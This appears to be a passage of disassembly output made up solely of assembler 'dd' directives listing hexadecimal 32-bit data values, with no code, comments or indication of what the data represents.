		dd 860FB616h, 0BD848BADh, 0D66BAB43h, 0C4021723h, 5CA3A059h
		dd 0B501623Fh, 9D52707Dh, 86D4C1F6h, 0C5481E67h, 0C2339F16h
		dd 645BFDE1h, 0B9B71363h, 4588E657h, 8EDB2AFAh,	0B0674682h
		dd 52A2FB55h, 0AD003BF3h, 203243EAh, 0E8F42C30h, 65D6603Bh
		dd 221B0E7Fh, 0FA8D1923h, 56F562D8h, 0A9F86554h, 2F9E860h
		dd 0F5913D68h, 0D68B8F0Fh, 1C9F5FCh, 0E364D105h, 0A919D4h
		dd 0F3DDA422h, 6C4490B3h, 8B2DA172h, 54EF71F8h,	8276C702h
		dd 0FC50B316h, 4500554Bh, 0A4174325h, 86109FF0h, 47ECCB2Eh
		dd 826F7302h, 0E08DC415h, 8124CDA5h, 50197496h,	1FFB5B95h
		dd 0DEAD6EF9h, 7AB6260Eh, 0B10387E9h, 0F7EB3A94h, 1216484Bh
		dd 0EAAD17A5h, 38C1CBCh, 0FDA033B9h, 0ACC935C4h, 89E2898Eh
		dd 71F2560Dh, 0EBE72E21h, 79731901h, 7896B9BAh,	4767847Eh
		dd 503530BAh, 964DFB8Bh, 0D2BE120Fh, 81E92ABBh,	0A4975C90h
		dd 2A059245h, 0B7BB3995h, 0E85CA1AEh, 9D6E602Fh, 0CE952F2Dh
		dd 0B37E8804h, 6F2912DFh, 8BBFE298h, 0F671F69Fh, 0C9C66D00h
		dd 20D09E75h, 35A0486Eh, 206ABF4Bh, 0F4B7604Ah,	0F0B77D1h
		dd 826030BDh, 7D754DFDh, 31A5710h, 35A50500h, 80ACFCB9h
		dd 0F4A31F41h, 2E3600DDh, 0BD8B34C6h, 5A8922BFh, 0D9948261h
		dd 6435DD22h, 0EC961D11h, 824C8E99h, 571B05D1h,	1B64616Fh
		dd 1869D660h, 0F7E7EC04h, 0F48CB222h, 7A371E05h, 49FC5C70h
		dd 9D849E01h, 5A09BC61h, 80A376Eh, 0D655C18Bh, 0D793672Dh
		dd 0E6559D12h, 0B5459AEAh, 745A4F7Bh, 6977C1C7h, 3316D02Fh
		dd 0BCC4E0A2h, 0D4DB8005h, 30BA6050h, 47FE69A3h, 2F64A760h
		dd 0BD5E7470h, 4DA5FBDCh, 0F423C7C8h, 0BC4FE96Ah, 407C0146h
		dd 2B51E216h, 80EC7835h, 0FEF23BEFh, 8AB5009Ah,	0AF95FCD0h
		dd 5609FA2Ch, 8429D683h, 5F040914h, 0FBDBBF6Ah,	0CC9BFC1h
		dd 0C4FC3E19h, 8255ED4Eh, 834798Dh, 94B07D6h, 0D7F9F71Ah
		dd 2E7FDD9Dh, 89443F12h, 1CAE8A0Fh, 0B85B52EDh,	0E3D304EFh
		dd 8B200864h, 37B590FEh, 0CD6D0C36h, 8A8802A2h,	6FA7BFDEh
		dd 315B5BF8h, 125ED478h, 308722CAh, 0B4598017h,	57C9A802h
		dd 0DF781F02h, 5BCD8182h, 10CA6C77h, 0A42EE99Dh, 33DF09BEh
		dd 7EC65Dh, 0AD04281Bh,	0F195C641h, 0E6C1BA00h,	0D1FFA420h
		dd 0DB3497F5h, 9A70FDBBh, 0C66902ECh, 26AFD0Dh,	163437FDh
		dd 34AA46h, 358512BAh, 0C6A2AF3Dh, 2472FE90h, 0C9F9038Dh
		dd 910064F5h, 0C87DAC07h, 5A0311EFh, 0A6E99E04h, 0C967A2AEh
		dd 0DD482B55h, 3A7B0809h, 0A053070h, 49ED74B4h,	6E509E5h
		dd 91F0B75Dh, 3CE5801Ch, 711286h, 112B5DCFh, 5CFAD381h
		dd 911F7628h, 0B2F88C4Ah, 9ACDEEA4h, 0DEB4532Bh, 0B647CAD8h
		dd 0B1B8914h, 0F7B3C780h, 296E0315h, 0DFF80B96h, 0FDE0E99Bh
		dd 0E1259D33h, 6E6E5528h, 21BDB524h, 3B6B6A9Fh,	0E2EBE59h
		dd 0FB1709FBh, 0AA00AF7Ah, 9D2B6CE3h, 65B726F9h, 0CCFE1403h
		dd 3F02E996h, 313BC39Dh, 8B245990h, 0A93A5DF5h,	0A840C55Ch
		dd 952586Eh, 7E5CA94Bh,	0D12AB875h, 2B5F8110h, 24EFC688h
		dd 9BA1D3Fh, 395F0AE1h,	0D1368224h, 0BE74552Dh,	14B59561h
		dd 0BD102B0Ch, 56D8102Dh
		dd 0F8831735h, 0F4C4B7C8h, 0E9F914D1h, 0FB5E7C82h, 0D701FD56h
		dd 47554C50h, 1322AB28h, 16A778B5h, 0BA0E01BDh,	19B5A130h
		dd 0BF73C205h, 4ED7D6E8h, 0F8BB01A5h, 0E929CE24h, 31158B48h
		dd 0E8A97F9Dh, 64A5F559h, 293344E9h, 0CA218538h, 0C2D2AEE2h
		dd 59829571h, 98460FE8h, 918F8400h, 424EE637h, 0D07A0097h
		dd 80A9760Ch, 0D49D95F3h, 818CC12Fh, 15FC3B19h,	0B713AE5Bh
		dd 0E3F6FBAh, 96563A32h, 0AF00E8E2h, 0D25539FFh, 350042F4h
		dd 0B85F5A70h, 932FAD0h, 39585B51h, 0F884DB71h,	0FCACCBB9h
		dd 0F2F06032h, 0B09107Fh, 46D700CFh, 43BE92ACh,	0C3007BA6h
		dd 764888C2h, 25714AFDh, 6F765217h, 0DC71AEh, 6EA7ECD8h
		dd 0F33C607Dh, 458E8024h, 2827D508h, 0DFDB0161h, 2BF8FCA6h
		dd 0B8DE69C0h, 0FA210BD4h, 9674BAE9h, 457EEFCh,	0E946FC4Bh
		dd 6AE7400Eh, 375BE6h, 5ED52280h, 0CBA2D119h, 8ECAE5Ah
		dd 0DC8702BEh, 0E6068C2Eh, 6FD903EFh, 4ADB3C08h, 3EF773A8h
		dd 29D59F07h, 0D55BFF25h, 6C5F8419h, 75142529h,	3144DC32h
		dd 503ADC04h, 8B825D1Dh, 8028D13Dh, 0D0C381F9h,	54BAAA6h
		dd 1CC8D69Ah, 73EB5AC0h, 951004B3h, 0B80BA59Bh,	1623BBDAh
		dd 0AA05E604h, 0C264B8ABh, 0E2275BDh, 12950BD6h, 3AD9B2E9h
		dd 32605E6Eh, 71AA30D6h, 3EAF7709h, 440379F8h, 0AE7BAF78h
		dd 9D095B02h, 1F5E2DCDh, 0DDF8F9E2h, 14911135h,	0E1FFE982h
		dd 1F71B7D7h, 0C1FB6F7Dh, 1DCB8100h, 977F28E0h,	0A02F0894h
		dd 0D0B3F303h, 149737ACh, 209145FAh, 149753C3h,	0F54B44FAh
		dd 746E604Bh, 0F529C500h, 9CF791CFh, 8D0F9716h,	2ED7F6CCh
		dd 9520EB5h, 447D1D19h,	41BD2265h, 0F6E38995h, 9300DCB9h
		dd 72B7E69Eh, 84C2873h,	12E99FD1h, 15D25C81h, 59F41094h
		dd 3EEE0098h, 0AE68F4B0h, 5402DD37h, 0C18D09A1h, 929A5707h
		dd 535F576Ah, 9AD37176h, 0F8DF79F0h, 25D52579h,	0F8513F76h
		dd 0D3DDF86Ah, 0F657E2B4h, 0B8B002B2h, 5190C6DBh, 81F5D9F5h
		dd 5B445ABBh, 0AD4FA50h, 134A07DCh, 1EAA7B5Fh, 7E54A3ECh
		dd 0E6E1624Bh, 0BF809768h, 289EE343h, 0D5205EB8h, 38680505h
		dd 0C1237374h, 2B5D0745h, 77C75F03h, 5F0BDA6Ch,	38CD6C64h
		dd 0FD2E0D7Dh, 956DA925h, 0DF2A9782h, 820535Fh,	6D920FD5h
		dd 0BD6FD5E5h, 0E7312EF7h, 2DEE1A17h, 0C9EF1A17h, 9CE400A1h
		dd 972F1CC4h, 7525DFF6h, 1A130E37h, 631DCD60h, 5192735Bh
		dd 532EC6E6h, 0F530B608h, 0D4DE1480h, 0E718143Ah, 0A912EFD3h
		dd 67F5E730h, 17080518h, 84E389h, 9539BF57h, 3567Ah, 520782E1h
		dd 0D1AEDA10h, 0BB43E901h, 4DA0B9A9h, 80096D26h, 0CF70D8DBh
		dd 90015BB0h, 502CA265h, 0FC3AEEB3h, 0D98B16FBh, 15ACF3B9h
		dd 0FE55018Ch, 0C7807468h, 0DB73A3h, 0A6A8CB54h, 919802h
		dd 21EE450Ah, 0CE262ACCh, 0FAD3711Ch, 54A03593h, 5783148Bh
		dd 0FB4B865Ch, 9BB25B12h, 161B6F5Bh, 89C66B10h,	59BB0253h
		dd 90433AC1h, 0E060C655h, 7CFEECF2h, 2E7E97CBh,	4599BD50h
		dd 0A5A2B823h, 0ECD2DC16h, 0D4B4D18h, 886EC48Fh, 0BCF5162Bh
		dd 0FEE8526Ah, 0C6F2730Ah, 0CCCE00E5h, 0B25B43C9h, 32DF3602h
		dd 5D240644h, 3C334A10h, 0D3465400h, 0E717AC41h, 2C8095B8h
		dd 5F5B7380h, 542FE92Ah, 60819577h, 6755DC9Dh, 7735B2F5h
		dd 0DF5E5B47h, 0ADCB3FC0h, 52E822h, 17FEB9C7h, 852947F9h
		dd 0C7286925h, 5D7818A3h, 0D17A9D2Bh, 659AE6A7h, 818E4127h
		dd 8156F27Bh, 0CF5BD29h, 89D4A23Bh, 950270DAh, 346084EFh
		dd 25D2CD33h, 7FC6D95Ch, 68D308A0h, 5650F625h, 111AF69Ch
		dd 5FD078D2h, 8CD80A53h, 9C77C17h, 0C833C131h, 4B0AED77h
		dd 0AA257AB0h, 0DCBF9400h, 9D9195E6h, 0C2810260h, 145E4D40h
		dd 4A6DBC84h, 1ACBB561h, 0C970D55Ah, 0DF0164FAh, 0F942D090h
		dd 0FD2B2C04h, 9ECD4AB7h, 321EB41h, 9D08FD2Eh, 0CFE58D97h
		dd 0A976E96Ah, 63F5706Fh, 9516016Ch, 70AB3445h,	5D9D31BEh
		dd 25BF2F4Eh, 0B9E604BFh, 0BE66000Ah, 0B761A0B7h, 73A41251h
		dd 0ED9B6225h, 908BCF7Ah, 0A51FB5F5h, 2001EF4Ch, 3A095FF1h
		dd 5C75237Bh, 0D2F4E22Ah, 0A4A31FE6h, 40A6C680h, 8E0B9005h
		dd 0B6EFCE24h, 265BF054h, 330D05DDh, 0BB21B59Dh, 5EA91849h
		dd 0D38050C5h, 6BB6575Ah, 0E8B173B4h, 0FE8B96E8h, 73F85051h
		dd 0EBFF1F41h, 7D6B61ACh, 45123492h, 0DFA23075h, 213B12FEh
		dd 0F4EE374h, 294884BFh, 49297172h, 0FF2715DEh,	4D0289B7h
		dd 796EF121h, 0B7490011h, 0CD587F5Fh, 0D5D0990Eh, 3C82BDC4h
		dd 62EB2C2Eh, 0C7927FBFh, 5BDC9D8h, 0CC913122h,	6073585Ah
		dd 4057994Bh, 7361F6F7h, 937ABB28h, 5F5DCD27h, 0B5897D98h
		dd 0DA103129h, 0D72FB742h, 0D9ED8A4Ch, 42310F19h, 3FE1B3D1h
		dd 0E0AF120h, 0D41C0B87h, 35F55FF8h, 0C020AEB9h, 58C6FA3Ch
		dd 1D12BA00h, 59950917h, 0E690952Eh, 9E955B57h,	4FED95C3h
		dd 12372D40h, 2B662C58h, 8EC78118h, 0D2E9FCA7h,	5D5542D7h
		dd 1003FDB7h, 0F4FC11B4h, 0D9914CC2h, 73732DEEh, 556EA78h
		dd 89A302F3h, 0EBD52485h, 9CA452E6h, 9C0F1748h,	161558B7h
		dd 8EE70B30h, 0D0240088h, 2C792D36h, 6B1E8B1Ch,	7782CB9Ch
		dd 0D890B544h, 88F14B5Dh, 0A34A0FD9h, 8DB4D8EAh, 0CDD1F1Dh
		dd 0EB8489FDh, 0D3827751h, 0B8749050h, 287573DCh, 2DAEFC34h
		dd 579022C1h, 0F6B57638h, 9261DEEDh, 2850F38h, 405B5311h
		dd 1A17D0B2h, 50B8D94h,	0C3645730h, 2D019D10h, 17569025h
		dd 1CE48A40h, 0C9D41383h, 0E4C8FA5Fh, 827900EBh, 5898D3AFh
		dd 650033CCh, 66AA07CAh, 5A7868BFh, 0BD87E95Fh,	0BF5A902Bh
		dd 1A340FC7h, 0DAD94856h, 0F2790C97h, 0A4D26BB6h, 89ACF88Fh
		dd 0DE8B57C2h, 82FFF175h, 24C5BD01h, 9E52582h, 56D1FF02h
		dd 0C287517Ah, 400F4F55h, 7455D39Ah, 0F3F16C01h, 26A0E27h
		dd 0CF629247h, 0C0F190h, 0B1EFC155h, 565C80EBh,	38270045h
		dd 5AEACA16h, 33E92661h, 55113AEh, 169EE092h, 0E57AA6B1h
		dd 60E0D0FAh, 51B1800Fh, 0C0BDBE81h, 0A28B61FCh, 8832EAA2h
		dd 48B7A363h, 0DD39E909h, 0DA489B1Ch, 81A34E33h, 7D9C6501h
		dd 0E9D733D6h, 78A1FDABh, 1AB8937Fh, 1CEA9CE0h,	0C5AAEDBDh
		dd 69A2FF14h, 4A39B050h, 89A5DD34h, 786BFFE2h, 0FD5A9A12h
		dd 6105B301h, 570C9F59h, 796D5FDCh, 80123E08h, 0E119B690h
		dd 0A92BBDE9h, 603BADA8h, 7838696Bh, 0A253B800h, 0F883645h
		dd 0A4D4BD8Eh, 55199AE0h, 0FF605BB2h, 0AA716A33h, 13FB7D8Ah
		dd 22199505h, 23466FABh, 0E61F0116h, 20FF6A26h,	29441DB1h
		dd 9F2CEEB5h, 1FDEBDDEh, 81912D1Eh, 0A7DC28D7h,	97612B10h
		dd 0B0020153h, 5A46FFh,	8FC1F563h, 1A2E0294h, 6ACA9600h
		dd 8B70E60Bh, 1294D9Dh,	71E4F509h, 0B1DCC3A2h, 2898A556h
		dd 95316057h, 0BF9F2075h, 2C76FE9Eh, 601F6108h,	0F0BBCE90h
		dd 0E3865C9Dh, 0E3E9AFBAh, 0E624204Fh, 0BFBDE24Ah, 0C585010Bh
		dd 17144CD5h, 0ADB52960h, 0BD27766Ch, 0C1689051h, 0AE520BBBh
		dd 0C8776B28h, 861CC546h, 0E0C82B37h, 981D2614h, 5BEFDED1h
		dd 0BCE97314h, 26FDC4FEh, 0F9C09B10h, 0CADF3E37h, 300556F4h
		dd 5F6A22Ah, 824E92D3h,	1BD5644h, 3CA7D5BFh, 4810B81Dh
		dd 51EEC0FEh, 4645A7Fh,	0EDE3E1F2h, 22C1ADCEh, 94566218h
		dd 33C02BCBh, 19D271E9h, 950171BAh, 0C9762B1Ch,	7AE3123Ah
		dd 25CEB294h
		dd 0EBEBDE51h, 883D1BD7h, 4AF50331h, 0CD8D95Bh,	0B300C0E1h
		dd 89AE426Fh, 327535h, 0F76BB492h, 80C1CC46h, 0D2924C58h
		dd 0BBDA88BFh, 40259477h, 0E4087538h, 0E8024994h, 51572D91h
		dd 0AF9045E4h, 0AC00CC7Ah, 411E529Dh, 0A105BAD1h, 8A0F2632h
		dd 77B59C62h, 0CF80AA10h, 0E3302BE9h, 90E6F381h, 0B9571379h
		dd 291E41D2h, 6F02A99Dh, 0A9BED388h, 0DB3BFCB2h, 0F37B8AFDh
		dd 0F731D989h, 47C038EDh, 4A2D1BBBh, 4A38B28Ch,	0ABD291ADh
		dd 38C112F4h, 880996BFh, 75515B3Bh, 4A4DE814h, 0B00E66A8h
		dd 6480BA40h, 73A593C2h, 0EC3D4503h, 82C402DAh,	165B5826h
		dd 0E6D22B5Fh, 0E758E033h, 4D780493h, 0BF90EA08h, 12B733D8h
		dd 0B76DE39Bh, 3119F2F7h, 69ADFCE6h, 0F18B452Eh, 352B48A6h
		dd 0CAAD0h, 0FC3A4030h,	43623127h, 1938BE90h, 0C441A5AFh
		dd 0BD231207h, 0EFD652A5h, 36C4CA9Fh, 308DEE82h, 80FF986Ah
		dd 565C9A9Dh, 0BE905600h, 0D0834325h, 0F9084A6Eh, 235E8F5h
		dd 3F2308FCh, 0D456DE8Bh, 0BF156651h, 0D7A95712h, 0C67F51C9h
		dd 0C5EF137Fh, 0AF6BAF5Fh, 0C6011823h, 0F5CF9952h, 0E1B3097Eh
		dd 0F080B637h, 0EF96B96Fh, 71951229h, 0E1CAAC25h, 75C20574h
		dd 0C4804F37h, 51675D33h, 0B8BC2536h, 9507207Fh, 13697C65h
		dd 17132C76h, 0D741AFA6h, 0CAF3805Fh, 49DE282Bh, 44A88DD3h
		dd 0B26C3112h, 50185E0h, 22C0BDDEh, 0DCFAF2FFh,	18C91304h
		dd 88FA8B4Ch, 2B905699h, 0A9072532h, 9D745560h,	0D6C502DCh
		dd 0FC6052CBh, 0D20BE8E6h, 0F7877283h, 3AFE3DE4h, 68D8DB17h
		dd 0DCBD73C3h, 0F43DB3AEh, 0C51262F6h, 549404ABh, 5635B826h
		dd 4ED0F722h, 95C1E610h, 31FC8F10h, 33CAA900h, 0B350708Bh
		dd 0E21D01FFh, 0DA7AC146h, 5B16B80h, 0AA2C442Bh, 1A233E01h
		dd 5601992Ch, 9C62E0BAh, 0C8BA9A6Bh, 9DDBC01Bh,	0D30953B7h
		dd 6AA5F7Ch, 953B14Ch, 0D54BBF66h, 3EDF29E1h, 0BEC15FECh
		dd 6B6173E0h, 14C8D29Ah, 8EE73C5h, 50131730h, 2414CCFEh
		dd 36B3A012h, 0A09FB7AAh, 0D99D798h, 78E3569Ah,	9B6E2F44h
		dd 6D6FA40Eh, 26A5B0B8h, 3E685B80h, 0D9A8615Ch,	1D192599h
		dd 0A2A32760h, 0CD26AF2Dh, 62B8C3F2h, 0BF38B6E0h, 5101101Bh
		dd 5F2CE95Eh, 0A9D1AD2Bh, 6477FC1Dh, 4B238F50h,	0BAAB85AFh
		dd 0EBA475B7h, 25D627B0h, 38C0A5B3h, 0E9802875h, 0B7015FEBh
		dd 806FA02Ch, 0DC92132Ah, 0BB0E704Bh, 0EDB5499Fh, 601B6405h
		dd 4C85B21h, 7AA52882h,	0B4E2EFC6h, 89EECC4Ah, 0E8F2B54Bh
		dd 0D4C2D825h, 0D0FD7B75h, 6F02BC5Bh, 6D80A855h, 4BECF0ECh
		dd 10D48B0Ch, 10C809C9h, 4574CC80h, 1B50A8h, 35B8EA60h
		dd 0EBBF795Eh, 313AE602h, 7509B98Dh, 1471FCFBh,	20BA5849h
		dd 4C9648FFh, 0EB4A8E3Ch, 242B2420h, 0A29F0055h, 7D08E659h
		dd 0F909B3EAh, 643FE3ABh, 247EB7CAh, 0DFD28EC0h, 965F25FEh
		dd 0DD7079F3h, 0F7D61219h, 0D1D304CBh, 0ED1F162Dh, 29FBE547h
		dd 0CF8B7519h, 0FEEBF956h, 0C368600Ah, 0E05A5D67h, 0E9506AFDh
		dd 0C19C133Ch, 0FFE9091Fh, 52920D79h, 37D52BC0h, 8590535Fh
		dd 4DEA2F00h, 87116172h, 0CB03E971h, 9A96AA6Fh,	0D85E135Dh
		dd 77C6C15Fh, 2A66E7Fh,	7060E1F0h, 88CCDF03h, 0D0819CA2h
		dd 4C6239D5h, 0B55BEB01h, 58A67B02h, 1942DCB4h,	4FEE4B00h
		dd 9411CC2h, 9BF15495h,	0DCAF9E61h, 74129B14h, 71FB2DABh
		dd 0BFDBE9A2h, 7AD7450h, 6688F071h, 0B8A8E49Bh,	8762A393h
		dd 783B5B0Bh, 472888D7h, 600BDE41h, 7B55E97Ch, 7716D829h
		dd 1DC9D99Dh, 949FC0E1h, 0B0FC7DD2h, 49320200h,	0D81DAD68h
		dd 0ACE5138Ah, 0BFC4AE3Bh, 0F5573AAEh, 1615B304h, 0FF18213h
		dd 27703D75h, 724C2AF7h, 7903C509h, 54DCC49Ah, 4BCFB301h
		dd 92C1201Bh, 790034F9h, 0DF359B45h, 21B023Bh, 2B19370Ah
		dd 0A975B5BDh, 6ACFD7FAh, 123D9BE0h, 90D39D96h,	78146404h
		dd 9E4E0FBDh, 0FE76C43Eh, 0AF198504h, 0A6DB4575h, 0FCE19181h
		dd 0C275C650h, 28377F7Dh, 0A5E7BA80h, 97890F5Fh, 0D0C22A1Ah
		dd 0F8257BDDh, 5F173270h, 1CAFD340h, 0EDE6E559h, 0C1B9F4B7h
		dd 55B37FEFh, 9A7BBAB7h, 9CF882Ch, 38DD2569h, 1805BFC3h
		dd 0E4049F09h, 0D697313Bh, 194DD461h, 98EC80F9h, 1A5FF4Bh
		dd 0AAD38127h, 2B65A785h, 8DFC0BB9h, 0B75AD800h, 70D259B6h
		dd 0E98B97F1h, 600065B7h, 0A84B9328h, 0ED5C2F26h, 0C6AF5FD9h
		dd 73B72739h, 69790642h, 44F34000h, 2DED4A21h, 0C176F9CFh
		dd 69E0BB78h, 0EED792B2h, 3A359544h, 31FF4F3Fh,	3FD8EB6Ah
		dd 6EA9F0A9h, 5B15EE60h, 0BCF05F5Ch, 55C00B30h,	0BFA0FE23h
		dd 63A4743Dh, 81F8C47Dh, 7F3041DDh, 202BAD9Dh, 51CCB6F7h
		dd 0AAA4ED2Eh, 59C8B860h, 1C64006Ch, 0DDD4E703h, 5B2E0223h
		dd 0C0253796h, 574BB69h, 0F39B2C8h, 0AF228431h,	20B58DB0h
		dd 81041615h, 45AF02DBh, 9A41CA9Dh, 7FEA47F3h, 0EC529653h
		dd 95A227B9h, 27BC8F7Ch, 3EE457h, 509B0E9h, 4FCDDE03h
		dd 9502AB79h, 8C25A4AAh, 777AD0C7h, 0F9D58205h,	40EB4846h
		dd 8B63CF81h, 50444600h, 1B1258BBh, 5CE8B54Eh, 0A82F548Eh
		dd 5570D43Dh, 0E70F4100h, 5B86C660h, 2857B0F4h,	6989D9B5h
		dd 3650FF7Bh, 0E434255Eh, 0D5D53077h, 41EE9508h, 0ED253A9Ch
		dd 0D98B091Ah, 50654A74h, 6AD9EEh, 3BF879FDh, 5AC62938h
		dd 0DDF03CB6h, 1A050CB4h, 830F015Ch, 0D4B33804h, 0CB46A2EEh
		dd 8866518Bh, 0E90318B9h, 8CFFF23Eh, 8FC0339Bh,	4F56DE6Ah
		dd 543FBA16h, 0BC00B4E2h, 0B8592C64h, 0D49F843Ah, 6101DE5Eh
		dd 0BE3779A6h, 17CCFE2Eh, 0D55748B9h, 0F0661FC0h, 2B5B81D7h
		dd 5F7249EEh, 272958AFh, 55D2235Bh, 46DA70Ah, 0C4CCF1F5h
		dd 504AAA4h, 664B0385h,	0AABD4076h, 3109A4BFh, 7216C58Dh
		dd 298A1226h, 212B221Ah, 0A5F6F975h, 0FC4064EDh, 28C02062h
		dd 94E7DF1Ch, 6CAAB014h, 845D9B8h, 49F02D36h, 5A3ECC31h
		dd 59250433h, 9F400CE8h, 0C47FFB54h, 8E65AF01h,	7B2E251Eh
		dd 0D88D2Ah, 295FF884h,	18ED9513h, 0C1BE60ABh, 602F2DA7h
		dd 6920F58Ch, 0FBB73503h, 3F8BB01Ch, 91119666h,	0EA6A5B12h
		dd 1180079Bh, 0A1351DF8h, 73485B00h, 89D1B3FEh,	2957959Dh
		dd 0E22A4D2Dh, 0F9F52C7Fh, 7AE8A521h, 1B0949D7h, 802861CBh
		dd 184E9C63h, 0E99E4E9Bh, 8C17ACCFh, 0D2EC750Fh, 54D7E645h
		dd 0B07C4F56h, 8612E397h, 689BD1FFh, 5574A84h, 38AE0CEDh
		dd 3DBFD1C5h, 90339427h, 0EA8FEAD3h, 6F026A12h,	0C00E0389h
		dd 0F8F47C3Ah, 2F3C86BBh, 8678777Fh, 3C2F8D20h,	612CF580h
		dd 60ECA6D4h, 0AC9D2EAFh, 0B87D300h, 0EA722CE7h, 94E0B012h
		dd 0F3CA425Fh, 160015C4h, 23602ADEh, 0B7107AD7h, 5C696BF4h
		dd 9A94819h, 16572FE9h,	501FBBE1h, 0A20E1211h, 44A5DD8Eh
		dd 0B2A0488Ah, 6AE9621Eh, 0EB0E160Dh, 711A5EFFh, 3B443194h
		dd 49019F6Fh, 0FC33B55Dh, 0D3B66B6Eh, 6ABDC4E1h, 57105D82h
		dd 35BF5996h, 0C0CD3D23h, 89FB844Eh, 8CBF1583h,	16006979h
		dd 90FD5449h, 0C7382Eh,	0EF1C1FFh, 0D37EBBFCh, 43F95B5Ah
		dd 0FCB37B9h, 42532515h, 77F87A3Ch, 0F990DA53h,	0A95BE9A4h
		dd 16B6BD2Fh, 60E95734h, 0FF440993h, 7EC0EBEDh,	76F1D5Ah
		dd 0E003C70Ch, 0CA5539D5h, 1051F67Dh, 1694580Ah, 7AEB2A49h
		dd 5F0473DAh, 660DF9FDh, 0BD6D98FEh, 0F7272925h, 0DE5EBEB2h
		dd 604052C4h, 0CA18D8Bh
		dd 0A60A5BB5h, 0AF21183Dh, 2BE1B061h, 91B31820h, 1E2C0913h
		dd 92DFF33Bh, 0AFB855BEh, 0DE25C991h, 61605D5Fh, 249DF98Bh
		dd 314111F4h, 8B1D5195h, 44C8B681h, 0E5890033h,	0D2991FE9h
		dd 5D0018B0h, 1ADE068Eh, 3B42CBE6h, 50CCDFF2h, 5B114072h
		dd 4E9DBA73h, 0BD1305F3h, 0C4C2886Ch, 0BB5853A2h, 13EB7BCCh
		dd 0A021D3A6h, 5FBC53F1h, 81CE7641h, 0DBD1333Fh, 3FE0DC0h
		dd 5BE60913h, 910C02B1h, 99060063h, 98EB699Bh, 0D89D5FF9h
		dd 5E07ACA5h, 33980BD1h, 2BC7C85Eh, 122335B2h, 0F550BD7h
		dd 6B176E4Ch, 6D215F1Dh, 0D0465BDh, 0AE89852Eh,	0F2006FDDh
		dd 4EE961F1h, 1673F357h, 67BEAAABh, 5D5626Fh, 246F3D39h
		dd 0B89D12D8h, 7FBBB0BFh, 958935D7h, 1460EEADh,	1F5112A6h
		dd 41F30C3Bh, 0D161B2BCh, 3B052C5Ah, 0B471CFDEh, 673A90A8h
		dd 19A572DDh, 0E0D36D55h, 74238F26h, 0E64E0203h, 5B148B27h
		dd 6118F14Ah, 70B72AB0h, 6294BA01h, 2A6168EEh, 1CA89CEDh
		dd 0E500D693h, 725B0330h, 76D2022Fh, 0E92B927h,	40F96F5Fh
		dd 0DC4E382Fh, 76512712h, 19E9FA04h, 36C1D9ABh,	0E1CB12Eh
		dd 7A2DBF4h, 0FC6DC250h, 0B7F60BB8h, 6E3D09F6h,	7502849Bh
		dd 2B072CC1h, 0F72F2D62h, 4AA1EDCCh, 3A76C9DFh,	8072CD3Dh
		dd 0BB8F4E0Fh, 0AAF125A1h, 9FD0D438h, 777D7725h, 3FED0941h
		dd 0BF97ACA8h, 88B94716h, 78C1AACh, 0FE86E03Eh,	0BEB3D4C6h
		dd 75A58BE6h, 4500AB4Ch, 39F3A3E6h, 0DF7702A1h,	2F05B531h
		dd 7A96D955h, 0FE2906C2h, 0DF493F76h, 0FC8A1DB8h, 9C8A5F4Eh
		dd 21AA6422h, 6AB8F749h, 9000997Eh, 75E63C45h, 1B02F325h
		dd 0F18D29E5h, 0AD735F20h, 70113BEh, 96AD8FFAh,	0FE66AA70h
		dd 0BD0813A6h, 849AA203h, 512047Eh, 0AE4EF22Ch,	6E4A62DAh
		dd 2A610962h, 467ED1F5h, 8B2F5727h, 0CB7F7F8h, 30983B00h
		dd 9FDC2F1Ch, 1E6A0DE2h, 0D325385Eh, 9258708Bh,	0E4BBD200h
		dd 4EEBD781h, 9DA6CF5Ch, 475D020Bh, 0D4D3E9D8h,	0EFEB3600h
		dd 300F23BBh, 521D0882h, 4D4F9509h, 885E84E9h, 1F00B178h
		dd 0FD3188D1h, 1B81E6Bh, 28A9EF89h, 6E81C292h, 5BB9DF04h
		dd 892252E9h, 0ADE5B2C8h, 0B5D6D15Ch, 0C61817B0h, 1509E830h
		dd 0E23D9C25h, 0BDD2BD54h, 7B018B90h, 5B316896h, 611014E9h
		dd 64010684h, 9ABBE8DEh, 0AA2B0440h, 0EAF5BD30h, 451A9D7Bh
		dd 1040687Eh, 7C67C673h, 8B0BA830h, 9523007Eh, 0F7810BACh
		dd 0F01240B6h, 88FA5B30h, 8A80DAA3h, 0D87A9FD9h, 0C2B09B7Fh
		dd 290A1125h, 1FA55538h, 73A6AB6Ah, 2FFA37E0h, 0C7228A04h
		dd 6881E4C9h, 9B62BD2Bh, 2527ED49h, 0E1D9EDFh, 5B5350D9h
		dd 5F5261B8h, 0D81D92F7h, 0F558AF21h, 0B2A1B62Ah, 0CE75311Dh
		dd 4E83EC57h, 2E1C8D3Ch, 904525C4h, 0F0E28D0Fh,	0D7E9F004h
		dd 0C77CDE01h, 0EA40E11Eh, 4FC80E45h, 0FBD9345Fh, 6C0043CAh
		dd 0AB23D44Dh, 9F171B7Dh, 0D5095FE8h, 5E7F0995h, 5342C0B8h
		dd 6C09B58Ch, 0D8612640h, 0F2D6BF7Bh, 0F04A2010h, 0D39D91DDh
		dd 1064D820h, 89F2BC16h, 9E1102E0h, 0EB66C0CBh,	790005FFh
		dd 0B3704494h, 9213E31Fh, 1E12503h, 15C34D1h, 3F67CBE1h
		dd 19E578FBh, 8FA50121h, 8F7B4818h, 173D2E3Ch, 2DF0A997h
		dd 0B00C4745h, 5BA99B7h, 0E215F8D9h, 92F0EBCEh,	941C42ADh
		dd 3B5102Ah, 0B83CC44Bh, 0DE0769CCh, 0E889AD7Eh, 0CDB93218h
		dd 28F4F001h, 1DF3A737h, 975B5374h, 8477FC9Ah, 68001733h
		dd 7C373FD6h, 9E409196h, 61D49Bh, 181D6DE3h, 32EA9240h
		dd 283E51F2h, 3C999A6Ah, 0B8507783h, 7CFC2979h,	0C272FE9Dh
		dd 8DFC1675h, 74B11F42h, 2D026923h, 7D091DF1h, 15707632h
		dd 6902604Bh, 619F1BDh,	75971461h, 0AEF9BFA4h, 0B76AC2C9h
		dd 77A7A0FFh, 62677B15h, 61DFD858h, 0E02B7F7h, 5881B195h
		dd 2A37165Fh, 6FE960F9h, 0E95F3BF7h, 71F5C969h,	351746EEh
		dd 0A83359B7h, 1A352D25h, 84069AF5h, 0FA527DAEh, 2EEDA4DAh
		dd 0A8259860h, 0E08C2630h, 0ED07DEFEh, 65D3AA5Ah, 0B0445430h
		dd 505125DAh, 5B6443DEh, 224FCBABh, 1F89B0D7h, 0A921DC40h
		dd 3C462D9h, 1F48FD4h, 0B5111FF1h, 63D2ED5Fh, 2F5801F7h
